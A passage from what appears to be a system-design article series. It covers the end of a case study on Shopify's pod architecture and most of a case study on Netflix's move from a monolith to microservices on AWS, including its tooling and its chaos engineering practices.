**The insight**: Shopify used TLA+ to formally specify Ghostferry's migration algorithm. During the later Vitess migration (for the Shop app), the team encountered approximately 25 bugs — 6+ in Vitess itself — including race conditions with `UPDATE row → INSERT row_2 → DELETE row` sequences landing on different shards. Formal verification is particularly valuable for stateful operations where ordering and concurrency bugs can cause data loss.

**How it applies elsewhere**:

- Any data migration tool handling concurrent reads and writes benefits from formal specification
- TLA+ is especially suited to verifying invariants in distributed state machines

#### 5. The Monolith Can Scale — If You Isolate Beneath It

**The insight**: Shopify rejected the microservices migration path. Instead, they kept the monolith and isolated the infrastructure it runs on. This preserved developer productivity (~40 deploys/day, ~400 commits/day) while solving the operational isolation problem. The monolith provides a single deployment unit, unified type system, and shared abstractions that microservices sacrifice.

**How it applies elsewhere**:

- Not every scaling problem requires decomposing the application. Sometimes the problem is infrastructure isolation, not code organization.
- The "modular monolith" pattern (pods + componentized code) provides many benefits of microservices without the distributed systems overhead.

### Process Lessons

#### 1. Incident-Driven Architecture Is Effective

**The insight**: Redismageddon was the catalyst for pods. The most impactful architectural changes often emerge from specific production failures that reveal hidden assumptions. Shopify didn't design pods in a vacuum — they designed pods because a concrete failure demonstrated that sharding alone was insufficient.

**What they'd do differently**: Simon Eskildsen and the team have noted that proactively identifying shared resources as blast radius risks — before an outage — would have been preferable. The **Resiliency Matrix** that Shopify now maintains is the systematic answer to this reactive pattern.

#### 2. Chat-Driven Operations Reduce Mean Time to Recovery (MTTR)

**The insight**: Pod failover via Slack command, shop moves via chatbot — Shopify built operational tooling that any on-call engineer can invoke without SSH access or deep infrastructure knowledge. This reduces MTTR by removing the "find the right person" bottleneck.

### Organizational Lessons

#### 1. Infrastructure and Code Organization Are Orthogonal

**The insight**: Pods (infrastructure isolation) and Packwerk (code modularity) solved different problems. Pods contained blast radius. Packwerk reduced cognitive load. Solving one didn't solve the other. Teams that assume "if we fix the infrastructure, the code will follow" (or vice versa) will be disappointed.

**How organization structure affected the outcome**: Shopify's production engineering team owned pod infrastructure independently from the application teams that used Packwerk for code organization. This separation of concerns allowed both efforts to progress without blocking each other.

## Applying This to Your System

### When This Pattern Applies

You might benefit from a pod-like architecture if:

- You run a multi-tenant platform where tenant traffic variance is high (10x-1000x between smallest and largest)
- A single cache or queue failure currently affects all tenants
- Failover is all-or-nothing for your entire platform
- You need data residency isolation for compliance (GDPR, data sovereignty)
- Your monolith works well for development but has operational blast radius problems

### When This Pattern Does NOT Apply

- **Single-tenant applications**: Pods solve multi-tenant isolation. If you have one tenant, you have one pod.
- **Low scale / small team**: Managing 100+ pods requires dedicated infrastructure engineering. If you have fewer than 10 engineers, the operational overhead outweighs the benefits.
- **Already decomposed into services**: If you've already adopted microservices with per-service databases, you've solved (or created) a different set of problems. Pods are specifically for monolithic or shared-database architectures.

### Checklist for Evaluation

- [ ] Can a single Redis/Memcached failure affect multiple tenants?
- [ ] Is failover granularity coarser than you'd like?
- [ ] Do noisy tenants (traffic spikes) affect other tenants?
- [ ] Do you need per-tenant infrastructure isolation for compliance?
- [ ] Can you move tenants between shards with zero or minimal downtime?

### Starting Points

If you want to explore this approach:

1. **Map your shared stateful resources**: Identify every component shared across tenant boundaries (cache, queue, scheduler, session store)
2. **Simulate a shared resource failure**: What's the blast radius of a Redis failure? A Memcached failure? A background job queue failure?
3. **Prototype a single "pod"**: Pick one stateful resource (e.g., Redis) and isolate it for a subset of tenants. Measure the operational impact.
4. **Build routing first**: A Sorting Hat equivalent (tenant-to-pod mapping at the load balancer) is the prerequisite for pod isolation. Without routing, you can't direct tenants to isolated infrastructure.
5. **Invest in migration tooling early**: The value of pods depends on the ability to rebalance tenants between them. If moving a tenant requires downtime, you'll resist rebalancing, and pods will drift into imbalance.

## Conclusion

Shopify's pod architecture demonstrates that the monolith vs. microservices debate presents a false dichotomy. The scaling problem wasn't in the application layer — it was in the infrastructure's failure domain boundaries. By isolating stateful resources into pods while keeping the monolith intact, Shopify achieved blast radius containment, per-pod failover, and noisy neighbor elimination without sacrificing the developer productivity that a unified codebase provides.

The critical lesson is the distinction between **throughput scaling** and **isolation scaling**. Sharding solved throughput. Pods solved isolation. Both are necessary at Shopify's scale, and conflating them — as many teams do when they equate "sharding" with "multi-tenant isolation" — leads to architectures that handle normal load well but fail catastrophically under partial failures.

## Appendix

### Prerequisites

- Understanding of database sharding and horizontal partitioning strategies
- Familiarity with multi-tenant SaaS architecture patterns
- Basic knowledge of load balancer request routing
- Understanding of MySQL replication and binary logs

### Terminology

- **Pod**: A fully isolated set of stateful infrastructure (MySQL, Redis, Memcached, cron) serving a subset of shops
- **Sorting Hat**: Lua script on nginx/OpenResty that routes requests to the correct pod based on host/domain lookup
- **Ghostferry**: Shopify's open-source Go tool for zero-downtime MySQL data migration between shards/pods
- **Pod Mover**: Internal tool for failing a pod over to its recovery datacenter in ~1 minute
- **Pod Balancer**: Automated system that redistributes shops between pods based on historical resource utilization
- **CDC (Change Data Capture)**: Pipeline that streams database changes from pod shards into a central Kafka topic for cross-pod analytics
- **Redismageddon**: Internal name for the ~2016 incident where a single Redis failure took down all of Shopify
- **BFCM**: Black Friday/Cyber Monday — Shopify's annual peak traffic event
- **Packwerk**: Open-source Ruby gem for enforcing modular boundaries within the monolith's codebase
- **Semian**: Open-source Ruby gem implementing circuit breakers and bulkheading to prevent cascading failures

### Summary

- Shopify hit vertical scaling limits in 2015 and implemented database sharding, but shared Redis/Memcached remained single points of failure
- The "Redismageddon" incident (~2016) — a single Redis failure taking down all shops — proved that sharding partitions data but not failure domains
- Pods isolate the complete stateful stack (MySQL, Redis, Memcached, cron) per subset of shops, containing blast radius to a single pod
- The Sorting Hat (Lua on OpenResty) routes requests to the correct pod by injecting a pod header based on domain lookup
- Ghostferry enables zero-downtime shop migration between pods (2.5-second average downtime), with its core algorithm formally verified in TLA+
- Pod Mover fails over individual pods between datacenters in ~1 minute, triggered via Slack command
- The architecture scaled from 600K merchants and 80K RPS (2018) to 5.5M merchants and 284M edge RPM (2024) while maintaining 99.99%+ uptime during BFCM

### References

- [A Pods Architecture to Allow Shopify to Scale](https://shopify.engineering/a-pods-architecture-to-allow-shopify-to-scale) - Xavier Denis, Shopify Engineering, March 2018. Canonical blog post introducing the pod concept.
- [E-Commerce at Scale: Inside Shopify's Tech Stack](https://shopify.engineering/e-commerce-at-scale-inside-shopifys-tech-stack) - Kir Shatrov, Shopify Engineering, August 2018. Tech stack overview with scale numbers.
- [Shopify's Architecture to Handle 80K RPS Celebrity Sales](https://www.youtube.com/watch?v=N8NWDHgWA28) - Simon Eskildsen, GOTO Copenhagen 2017. Conference talk on pod architecture and flash sale handling. [Slides](https://speakerdeck.com/sirupsen/goto-copenhagen-2017-shopifys-architecture-to-handle-80k-rps-sales).
- [Shopify's Architecture to Handle the World's Biggest Flash Sales](https://www.youtube.com/watch?v=yvMFLsXzRig) - Bart de Water, QCon 2022. Updated architecture presentation with failover details.
- [Scaling Shopify's Multi-Tenant Architecture across Multiple Datacenters](https://www.usenix.org/conference/srecon16europe/program/presentation/weingarten) - Florian Weingarten, SREcon 2016 Europe. Multi-datacenter scaling approach.
- [Deconstructing the Monolith](https://shopify.engineering/deconstructing-monolith-designing-software-maximizes-developer-productivity) - Kirsten Westeinde, Shopify Engineering, February 2019. Componentization and modular monolith strategy.
- [Under Deconstruction: The State of Shopify's Monolith](https://shopify.engineering/shopify-monolith) - Philip Mueller, Shopify Engineering, September 2020. Monolith status update with Packwerk introduction.
- [Capturing Every Change From Shopify's Sharded Monolith](https://shopify.engineering/capturing-every-change-shopify-sharded-monolith) - John Martin and Adam Bellemare, Shopify Engineering, March 2021. CDC pipeline architecture and numbers.
- [Shard Balancing: Moving Shops Confidently with Zero-Downtime at Terabyte-scale](https://shopify.engineering/mysql-database-shard-balancing-terabyte-scale) - Paarth Madan, Shopify Engineering, September 2021. Ghostferry and shard rebalancing deep dive.
- [Horizontally Scaling the Rails Backend of Shop App with Vitess](https://shopify.engineering/horizontally-scaling-the-rails-backend-of-shop-app-with-vitess) - Shopify Engineering, January 2024. Vitess adoption for the Shop app.
- [A Packwerk Retrospective](https://shopify.engineering/a-packwerk-retrospective) - Gannon McGibbon and Chris Salzberg, Shopify Engineering, February 2024. Retrospective on modular monolith tooling.
- [Interview: Inside Shopify's Modular Monolith](https://kovyrin.net/2024/06/16/interview-inside-shopify-monolith/) - Oleksiy Kovyrin (Principal Engineer), June 2024. Pod architecture insights and dedicated pod strategy.
- [How We Prepare Shopify for BFCM](https://shopify.engineering/bfcm-readiness-2025) - Kyle Petroski and Matthew Frail, Shopify Engineering, November 2025. BFCM readiness process and load testing numbers.
- [Resiliency Planning for High-Traffic Events](https://shopify.engineering/resiliency-planning-for-high-traffic-events) - Ryan McIlmoyl, Shopify Engineering, December 2020. Resiliency matrix and planning process.
- [Shopify's Infrastructure Collaboration with Google](https://shopify.engineering/shopify-infrastructure-collaboration-with-google) - Dale Neufeld, Shopify Engineering, March 2018. GCP migration details.
- [Preparing Shopify for Black Friday Cyber Monday](https://shopify.engineering/preparing-shopify-for-black-friday-cyber-monday) - Camilo Lopez, Shopify Engineering, December 2018. BFCM 2018 preparation and results.
- [Ghostferry](https://github.com/Shopify/ghostferry) - Open-source zero-downtime MySQL data migration tool.
- [Semian](https://github.com/Shopify/semian) - Open-source circuit breaker and bulkheading library for Ruby.
- [Toxiproxy](https://github.com/Shopify/toxiproxy) - Open-source network fault injection proxy.
- [Packwerk](https://github.com/Shopify/packwerk) - Open-source static dependency analysis for Rails applications.
- [BFCM Data 2024](https://www.shopify.com/news/bfcm-data-2024) - Official Shopify BFCM 2024 results.

---

## Netflix: From Monolith to Microservices — A 7-Year Architecture Evolution

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/netflix-microservices-evolution
**Category:** System Design / Real-World Case Studies
**Description:** In August 2008, a database corruption in Netflix’s monolithic Oracle backend prevented DVD shipments for three days — exposing a single point of failure that threatened the business. Rather than patching the existing architecture, Netflix leadership made a radical decision: migrate entirely to AWS and decompose the monolith into independent microservices. Over 7 years (2009–2016), Netflix grew from 9.4 million to 89 million subscribers, scaled from 20 million to 2 billion API requests per day, and built an open-source ecosystem (Eureka, Hystrix, Zuul, Chaos Monkey) that redefined how the industry thinks about cloud-native architecture. This case study traces the technical decisions, migration phases, tools built, and hard-won lessons from one of the most influential architecture transformations in software history.

# Netflix: From Monolith to Microservices — A 7-Year Architecture Evolution

In August 2008, a database corruption in Netflix's monolithic Oracle backend prevented DVD shipments for three days — exposing a single point of failure that threatened the business. Rather than patching the existing architecture, Netflix leadership made a radical decision: migrate entirely to AWS and decompose the monolith into independent microservices. Over 7 years (2009–2016), Netflix grew from 9.4 million to 89 million subscribers, scaled from 20 million to 2 billion API requests per day, and built an open-source ecosystem (Eureka, Hystrix, Zuul, Chaos Monkey) that redefined how the industry thinks about cloud-native architecture. This case study traces the technical decisions, migration phases, tools built, and hard-won lessons from one of the most influential architecture transformations in software history.

<figure>

![Netflix's 7-year journey from a monolithic Java/Oracle stack to 700+ microservices on AWS, triggered by a 2008 database corruption incident.](./netflix-s-7-year-journey-from-a-monolithic-java-oracle-stack-to-700-microservice.svg)

<figcaption>Netflix's 7-year journey from a monolithic Java/Oracle stack to 700+ microservices on AWS, triggered by a 2008 database corruption incident.</figcaption>
</figure>

## Abstract

Netflix's monolith-to-microservices migration is an **architecture evolution story**, not a rewrite story. The mental model:

| Phase                       | Timeline  | What Changed                         | Key Challenge                      |
| --------------------------- | --------- | ------------------------------------ | ---------------------------------- |
| **Trigger**                 | Aug 2008  | Oracle DB corruption → 3-day outage  | Single point of failure exposed    |
| **Cloud pathfinders**       | 2009      | Non-critical workloads to AWS        | Proving cloud viability            |
| **Stateless decomposition** | 2010–2012 | API services extracted from monolith | Service discovery, fault isolation |
| **Data tier migration**     | 2012–2014 | Oracle → Cassandra, S3               | Data model denormalization         |
| **Multi-region resilience** | 2015–2016 | Active-active across AWS regions     | Chaos engineering at region scale  |

**Core insights:**

- **Migration was incremental, not big-bang**: Netflix ran the monolith and microservices in parallel for years, migrating one service at a time. The last piece (billing) moved to AWS in January 2016.
- **Each pain point spawned a tool**: Service discovery gaps → Eureka. Cascading failures → Hystrix. Edge routing needs → Zuul. Configuration drift → Archaius. Each Netflix OSS tool exists because a production problem demanded it.
- **Culture enabled the architecture**: Netflix's "freedom and responsibility" model — small teams (2–8 engineers) owning the full lifecycle of their services — was a prerequisite, not a consequence, of the microservices architecture.
- **The OSS ecosystem had a lifecycle**: Netflix built, open-sourced, and eventually deprecated many of these tools as the industry (and Netflix itself) shifted toward service mesh and gRPC-based patterns.

## Context

### The System

Netflix's pre-migration architecture was a conventional monolith:

- **Scale (2008)**: 9.4 million subscribers, ~$1.36 billion annual revenue
- **Architecture**: Single Java monolithic application called NCCP (Netflix Content Control Protocol) — the single API layer serving all client requests
- **Database**: Monolithic Oracle relational database in a single data center
- **Business model**: Primarily DVD-by-mail with a growing streaming service (launched January 2007)

### The Trigger

**August 2008**: A major corruption event in Netflix's production Oracle database prevented DVD shipments to customers for approximately three days. At this scale, that meant millions of customers not receiving their DVDs — the core business at the time.

**Key metrics at the time:**

| Metric            | Value                   |
| ----------------- | ----------------------- |
| Subscribers       | 9.4 million             |
| Annual revenue    | ~$1.36 billion          |
| Primary business  | DVD-by-mail             |
| Data center count | 1 (later expanded to 2) |
| Database          | Single Oracle instance  |

### Constraints

- **Single point of failure**: The Oracle database was the bottleneck for everything — schema changes alone required at least 10 minutes of planned downtime every two weeks
- **Scaling limitations**: Vertical scaling of Oracle was expensive and had hard limits
- **Streaming growth**: Netflix's streaming service (launched January 2007) was growing rapidly, and the monolith could not scale to meet projected demand
- **Capital expenditure**: Building and maintaining physical data centers required large upfront investment with long lead times
- **Talent**: Netflix had a small infrastructure team; competing with hyperscalers on infrastructure excellence was not viable

## The Problem

### Symptoms

The 2008 database corruption was the trigger, but the underlying symptoms had been accumulating:

1. **Deployment coupling**: Any change to the NCCP monolith required a full redeployment. A bug in the recommendation engine could take down the entire API surface.
2. **Schema rigidity**: Oracle schema migrations required planned downtime. With a single database, every team's schema changes competed for the same maintenance window.
3. **Scaling ceiling**: The monolith could only scale vertically. Adding capacity meant buying larger, more expensive hardware — with months of procurement lead time.
4. **Blast radius**: Every failure was a total failure. There was no way to degrade gracefully — if the database went down, everything went down.

### Root Cause Analysis

**The fundamental architecture problem:**

Netflix's monolith conflated three concerns that scale differently:

1. **Stateless API logic** (scales horizontally by adding instances)
2. **Stateful data storage** (scales via sharding, replication, or distributed databases)
3. **Business domain boundaries** (recommendations, billing, content metadata, user profiles — each with different scaling patterns, change frequencies, and failure modes)

The Oracle database created the tightest coupling: every service read from and wrote to the same schema, making independent scaling, deployment, or failure isolation impossible.

**Why patching the monolith was rejected:**

Netflix's leadership — specifically, Adrian Cockcroft (who joined as Cloud Architect) — argued that adding redundancy to the existing data center architecture would address the symptom (database SPOF) without solving the underlying scaling problem. Streaming growth projections required an architecture that could scale by orders of magnitude. The decision was to rebuild cloud-native, not lift-and-shift.

## Options Considered

### Option 1: Add Oracle Redundancy

**Approach**: Deploy Oracle RAC (Real Application Clusters) with Data Guard for disaster recovery. Keep the monolith, add database HA (High Availability).

**Pros:**

- Minimal code changes required
- Team already had Oracle expertise
- Fastest time to reduce SPOF risk

**Cons:**

- Oracle licensing costs scale super-linearly with capacity
- Does not address deployment coupling or schema rigidity
- Vertical scaling ceiling remains
- Does not solve the streaming growth trajectory

**Why not chosen**: Addressed the immediate pain but not the strategic problem. Streaming traffic was doubling annually; Oracle could not keep pace economically.

### Option 2: Lift-and-Shift to AWS

**Approach**: Move the existing monolith to AWS EC2 instances with RDS (Relational Database Service) for Oracle compatibility. Same architecture, different infrastructure.

**Pros:**

- Gains cloud elasticity for compute
- Reduces capital expenditure
- Faster to implement than a full decomposition

**Cons:**

- Monolith deployment coupling remains
- Database scaling problems persist (RDS Oracle is still a single logical database)
- "Cloud-hosted" is not "cloud-native" — does not leverage cloud primitives like auto-scaling, multi-region, eventual consistency

**Why not chosen**: Netflix wanted to be cloud-native, not merely cloud-hosted. Adrian Cockcroft articulated this distinction clearly: cloud-native means designing for failure, elasticity, and independent service deployment — not just running the same architecture on rented hardware.

### Option 3: Cloud-Native Microservices Decomposition (Chosen)

**Approach**: Decompose the monolith into independent microservices, each with its own data store, deployed on AWS. Rebuild cloud-native from the ground up.

**Pros:**

- Independent scaling per service
- Independent deployment and failure isolation
- Leverages cloud primitives (auto-scaling, multi-AZ, multi-region)
- Enables organizational scaling (small autonomous teams per service)

**Cons:**

- Multi-year migration effort
- Requires building tooling that doesn't exist (service discovery, circuit breakers, edge routing)
- Operational complexity increases dramatically
- Distributed systems introduce new failure modes (network partitions, eventual consistency)

**Why chosen**: Despite the multi-year investment, this approach aligned with Netflix's growth trajectory. The expected 10x growth in streaming traffic would be impossible to serve with a monolith on any database technology.

**Estimated effort**: 7 years to fully complete, involving hundreds of engineers.

### Decision Factors

| Factor                  | Oracle HA              | Lift-and-Shift   | Cloud-Native Microservices |
| ----------------------- | ---------------------- | ---------------- | -------------------------- |
| Time to implement       | 3–6 months             | 6–12 months      | 7 years                    |
| Addresses DB SPOF       | Yes                    | Partially        | Yes                        |
| Supports 10x growth     | No                     | Partially        | Yes                        |
| Deployment independence | No                     | No               | Yes                        |
| Operational complexity  | Low                    | Medium           | High                       |
| Upfront investment      | $$$$ (Oracle licenses) | $$ (AWS compute) | $$$ (engineering time)     |

## Implementation

### Phase 1: Cloud Pathfinders (2009)

Netflix adopted a "pathfinder" strategy — migrating non-customer-facing workloads first to build confidence and tooling.

**Workloads migrated:**

- Video encoding and transcoding pipelines
- Hadoop-based log analysis and batch processing
- Internal analytics

**Why these first**: These workloads were CPU-intensive, stateless, and did not directly affect the customer streaming experience. Failures during migration would not cause customer-visible outages.

**Key learning**: AWS worked. The team proved that Netflix's workloads could run reliably on cloud infrastructure, and the elastic scaling model reduced costs compared to maintaining idle data center capacity.

### Phase 2: Stateless Service Decomposition (2010–2012)

Netflix began extracting stateless API services from the NCCP monolith and deploying them as independent microservices on AWS.

**Strategy — the "Strangler Fig" pattern:**

Rather than rewriting the monolith, Netflix incrementally extracted services:

1. Identify a bounded context within NCCP (e.g., user profile service)
2. Build a new microservice that implements the same functionality
3. Route traffic to the new service via the API gateway
4. Decommission the corresponding code in the monolith
5. Repeat

**Services extracted in this phase**: User profiles, recommendation engine, authentication, content metadata, A/B testing, device-specific API adapters.

**Scale progression:**

| Year | Subscribers  | API Requests/Day     |
| ---- | ------------ | -------------------- |
| 2010 | 18.3 million | ~20 million          |
| 2011 | 24.3 million | Growing rapidly      |
| 2012 | 33.3 million | Hundreds of millions |

**Tools built during this phase:**

Each migration pain point spawned a tool that Netflix open-sourced:

| Pain Point                                                         | Tool Created | Date     | Purpose                                                       |
| ------------------------------------------------------------------ | ------------ | -------- | ------------------------------------------------------------- |
| Cloud instances have ephemeral IPs; services can't find each other | **Eureka**   | Sep 2012 | Service discovery — AP system (availability over consistency) |
| A slow downstream service causes thread pool exhaustion in callers | **Hystrix**  | Nov 2012 | Circuit breaker with thread pool and semaphore isolation      |
| Need runtime configuration changes without redeployment            | **Archaius** | Jun 2012 | Dynamic distributed configuration management                  |
| Need client-side load balancing without a central LB as SPOF       | **Ribbon**   | Feb 2013 | Client-side IPC with pluggable load balancing algorithms      |
| Need dynamic edge routing, security, and monitoring                | **Zuul**     | Jun 2013 | API gateway with runtime-loadable filter pipeline             |

#### Why Eureka Over ZooKeeper

This is one of Netflix's most consequential design decisions. The choice came down to CAP theorem (Consistency, Availability, Partition tolerance) trade-offs:

| Property                          | ZooKeeper (CP)                                       | Eureka (AP)                                           |
| --------------------------------- | ---------------------------------------------------- | ----------------------------------------------------- |
| During network partition          | Nodes that can't reach quorum become **unavailable** | All nodes continue serving **stale but useful** data  |
| Client behavior on server failure | Clients lose access to service registry              | Clients use local cache — **can still find services** |
| Consistency guarantee             | Strong consistency                                   | Eventual consistency                                  |
| Weight                            | General-purpose coordination (heavyweight)           | Purpose-built for discovery (lightweight)             |

**Netflix's rationale**: In cloud environments, network partitions are frequent. A service discovery system that becomes unavailable during a partition is worse than one that returns slightly stale data. If every Eureka server goes down, clients still have a cached registry and can communicate with services they already know about.

#### Hystrix: Preventing Cascading Failures

Hystrix addressed a specific failure pattern observed in production:

1. Service C slows down (e.g., database overload)
2. Service B's thread pool fills with requests waiting on C
3. Service B becomes unresponsive
4. Service A's thread pool fills with requests waiting on B
5. One slow service cascades into a total system failure

**Hystrix solution — the bulkhead pattern:**

Each dependency gets its own isolated resource pool. When Service C is slow, only C's pool fills up. Services A and B continue operating normally for their other dependencies.

**Two isolation strategies:**

| Strategy              | Mechanism                                      | Timeout Support                              | Best For                                                               |
| --------------------- | ---------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------- |
| Thread pool isolation | Separate fixed-size thread pool per dependency | Yes — threads can be reclaimed after timeout | Network calls, most remote dependencies                                |
| Semaphore isolation   | Counter limiting concurrent calls              | No — cannot timeout and reclaim              | Very high-volume, low-latency calls (hundreds per second per instance) |

By 2012, Netflix's API gateway used Hystrix to isolate approximately 150 different backend service dependencies, executing tens of billions of thread-isolated calls per day.

### Phase 3: Data Tier Migration (2012–2014)

The hardest phase: moving from Oracle to distributed data stores.

#### Oracle to Cassandra

**Why Cassandra:**

| Factor                   | Oracle                         | Cassandra                             |
| ------------------------ | ------------------------------ | ------------------------------------- |
| Scaling model            | Vertical (bigger hardware)     | Horizontal (add nodes)                |
| Schema changes           | 10+ min downtime per migration | Online schema evolution               |
| Consistency model        | ACID, single-master            | Tunable consistency per query         |
| Cross-region replication | Complex, expensive             | Built-in multi-datacenter replication |
| Cost model               | Per-CPU licensing ($$$)        | Open-source, commodity hardware       |

**Cassandra at Netflix scale (circa 2013):**

| Metric                | Value                                                       |
| --------------------- | ----------------------------------------------------------- |
| Clusters              | 50+                                                         |
| Nodes                 | 750–1,000+                                                  |
| Peak write throughput | 1,000,000+ writes/second (benchmarked 2011, revisited 2014) |
| Daily reads           | 2.1 billion                                                 |
| Daily writes          | 4.3 billion                                                 |
| Data share            | 95% of all Netflix data stored in Cassandra                 |

**Data model denormalization:**

Moving from Oracle's normalized relational model to Cassandra required fundamentally rethinking data modeling. Cassandra optimizes for read patterns, not write normalization. Netflix teams had to:

1. Identify query patterns for each service
2. Denormalize data to support those queries without joins (Cassandra does not support joins)
3. Accept data duplication as a trade-off for read performance and horizontal scalability
4. Handle eventual consistency at the application layer

#### EVCache: Distributed Caching Layer

Netflix built EVCache (a distributed caching layer on top of Memcached) to handle hot-path reads:

| Metric                | Value                                                         |
| --------------------- | ------------------------------------------------------------- |
| Operations per second | ~400 million                                                  |
| Total data            | 14.3 PB                                                       |
| Clusters              | ~200 Memcached clusters                                       |
| Regions               | 4 AWS regions                                                 |
| Use cases             | Watch history, session metadata, personalized recommendations |

#### Netflix Open Connect: Custom CDN

Launched in June 2012, Netflix Open Connect is a custom CDN (Content Delivery Network) with physical appliances deployed inside ISP (Internet Service Provider) networks. Rather than relying on third-party CDNs for video delivery, Netflix places storage appliances directly in ISP data centers — reducing bandwidth costs and improving streaming quality.

### Phase 4: Multi-Region Active-Active and Chaos Engineering (2015–2016)

#### The Christmas Eve 2012 Wake-Up Call

On December 24, 2012, an AWS engineer accidentally ran a maintenance process against production ELB (Elastic Load Balancer) state data, deleting it. Several of Netflix's ELBs failed, causing a streaming outage affecting TV-connected devices in the US, Canada, and Latin America for approximately 7 hours.

**Impact**: Game consoles were affected for ~7 hours. Web/PC streaming experienced minor disruption. The outage occurred in AWS US-East-1, the oldest and most congested AWS region.

**Netflix's response**: Rather than blaming AWS, Netflix invested in multi-region active-active architecture and built **Chaos Kong** — a tool that simulates the failure of an entire AWS region to ensure Netflix can redirect all traffic to surviving regions.

#### The Simian Army

Netflix formalized chaos engineering with a suite of tools collectively called the Simian Army, publicly announced in July 2011:

| Tool                  | Purpose                                                             |
| --------------------- | ------------------------------------------------------------------- |
| **Chaos Monkey**      | Randomly terminates production instances during business hours      |
| **Latency Monkey**    | Injects artificial delays in REST client-server communication       |
| **Conformity Monkey** | Shuts down instances not conforming to best practices               |
| **Doctor Monkey**     | Monitors instance health (CPU, memory); removes unhealthy instances |
| **Janitor Monkey**    | Finds and disposes of unused cloud resources to reduce waste        |
| **Security Monkey**   | Finds security violations and misconfigured AWS security groups     |
| **Chaos Gorilla**     | Simulates outage of an entire AWS Availability Zone                 |
| **Chaos Kong**        | Simulates failure of an entire AWS Region                           |

**Core philosophy**: In cloud environments, failures are inevitable and constant. Rather than hoping systems are resilient, proactively inject failures during business hours when engineers are present. This forces teams to build redundancy and graceful degradation from the start.

**Validation event — April 2011 AWS outage**: A major AWS US-East outage took down many AWS customers. Netflix survived with minimal impact, crediting their resilience engineering practices. This validated the chaos engineering approach and accelerated its adoption across the organization.

Chaos engineering later evolved into Failure Injection Testing (FIT), introduced in October 2014 by Kolton Andrus (who later co-founded Gremlin). FIT (Failure Injection Testing) provided more precise fault injection through Zuul at the request level, allowing targeted failure simulation rather than random instance termination.

#### Spinnaker: Continuous Delivery

Netflix's deployment system evolved through three generations:

1. **Manual deployments** → slow, error-prone
2. **Asgard** → Netflix's first deployment tool, AWS-only, no end-to-end pipelines
3. **Spinnaker** (open-sourced November 2015) → multi-cloud continuous delivery platform with canary analysis, blue-green deployments, and automated rollback

Spinnaker replaced Asgard and became a CNCF (Cloud Native Computing Foundation) incubating project with broad industry adoption. Netflix partnered with Google, Microsoft, and Pivotal on its development.

#### Migration Complete: January 2016

On January 4, 2016, Netflix completed its cloud migration — shutting down the last data center components used by the streaming service. The final piece was the billing system, the most conservative workload due to financial data sensitivity.

On the same day, Netflix expanded service to 130+ new countries — a global launch that would have been impossible with the original data center architecture.

### Challenges Encountered

**Challenge 1: The "Death Star" Dependency Graph**

With 700+ microservices, inter-service dependencies formed a dense, nearly impenetrable web — visualizations resembled the Death Star from Star Wars.

- **Impact**: Engineers could not reason about the blast radius of changes. A single service update could trigger unexpected failures in distant downstream services.
- **Resolution**: Netflix built internal tools — **Vizceral** (real-time traffic visualization) and **Slalom** (upstream/downstream dependency mapping) — to make the dependency graph observable during incidents.

**Challenge 2: Testing at Scale**

Traditional integration testing became unmanageable with hundreds of microservices.

- **Impact**: End-to-end test suites became slow, flaky, and incomplete. Full-stack testing of all possible service interactions was combinatorially infeasible.
- **Resolution**: Netflix shifted from pre-production integration testing to production testing via canary deployments and chaos engineering. They built Product Integration Testing to balance deployment velocity with quality assurance.

**Challenge 3: Organizational Complexity**

Microservices require organizational alignment. A team cannot deploy independently if its service shares a database or deployment pipeline with another team.

- **Impact**: Conway's Law in action — the architecture could only be as decoupled as the organization.
- **Resolution**: Netflix adopted the "Full Cycle Developer" model (formalized May 2018): each team of 2–8 engineers owns the full lifecycle of their services — design, development, testing, deployment, operations, and support. Centralized platform teams provide shared "Paved Road" tooling rather than mandating specific technologies.

## Outcome

### Metrics Comparison

| Metric                  | 2008 (Monolith)          | 2016 (Microservices)                | Change |
| ----------------------- | ------------------------ | ----------------------------------- | ------ |
| Subscribers             | 9.4 million              | 89 million                          | ~9.5x  |
| API requests/day        | ~20 million              | 2+ billion                          | ~100x  |
| Microservices           | 1 (NCCP monolith)        | 700+                                | —      |
| AWS instances           | 0                        | 100,000+                            | —      |
| Database technology     | Single Oracle            | 50+ Cassandra clusters (750+ nodes) | —      |
| Cache throughput        | N/A                      | 400M ops/sec (EVCache)              | —      |
| Deploy frequency        | Weekly (entire monolith) | Thousands per day (per service)     | —      |
| Blast radius of failure | Total outage             | Single service degradation          | —      |

### Timeline

- **Total migration duration**: 7 years (2009–2016)
- **Engineering effort**: Hundreds of engineers across dozens of teams
- **Time to first customer-facing workload on AWS**: ~1 year (2009–2010)
- **Last component migrated**: Billing system (January 2016)

### Unexpected Benefits

- **Netflix Open Connect CDN**: Building cloud-native infrastructure freed Netflix to invest in its own CDN. By 2015, Netflix accounted for 37% of downstream North American internet traffic during peak evening hours.
- **Netflix OSS influence**: The open-source tools Netflix built became the foundation of the Spring Cloud Netflix ecosystem, which was the dominant microservices framework for Java applications from 2014 to ~2019.
- **Organizational scalability**: The microservices architecture scaled the engineering organization as effectively as it scaled the software. From ~2,189 employees in 2015 to ~3,700 in 2016, with each new team able to contribute independently.

### Remaining Limitations and Evolution

- **Netflix OSS sunset**: Starting in 2018, Netflix placed Hystrix, Ribbon, Archaius, and Eureka 2.0 in maintenance mode. The "fat client library" model (every service embeds Eureka client + Ribbon + Hystrix) created language lock-in (Java only), inconsistent adoption, and painful library upgrades.
- **Shift to service mesh**: Netflix moved toward a "thin client + sidecar proxy" model, adopting gRPC for inter-service communication and working with the Envoy community on on-demand cluster discovery. This mirrors the broader industry shift to Istio/Envoy and Linkerd.
- **Complexity tax**: With 1,000+ microservices, operational complexity remained high. Netflix continues investing in internal developer experience tooling to manage this complexity.

## Lessons Learned

### Technical Lessons

#### 1. Migrate Incrementally, Not Big-Bang

**The insight**: Netflix ran the monolith and microservices in parallel for 7 years. Each service was extracted, validated, and promoted independently. The monolith was never "switched off" — it was slowly starved of traffic.

**How it applies elsewhere:**

- Use the "strangler fig" pattern: route requests to new services while keeping the monolith as a fallback
- Start with the simplest, least-coupled services. Save the hardest (stateful, financially sensitive) for last — Netflix migrated billing last.
- Maintain feature parity during migration. Users should never notice the cutover.

**Warning signs you're going too fast:**

- Multiple services being migrated simultaneously by the same team
- No rollback plan if the new service fails
- Skipping the production validation step (canary deployments)

#### 2. Each Tool Should Exist Because a Production Problem Demanded It

**The insight**: Netflix did not build Eureka, Hystrix, or Zuul because they planned to create an OSS ecosystem. Each tool was a direct response to a production pain point that had no existing solution at Netflix's scale.

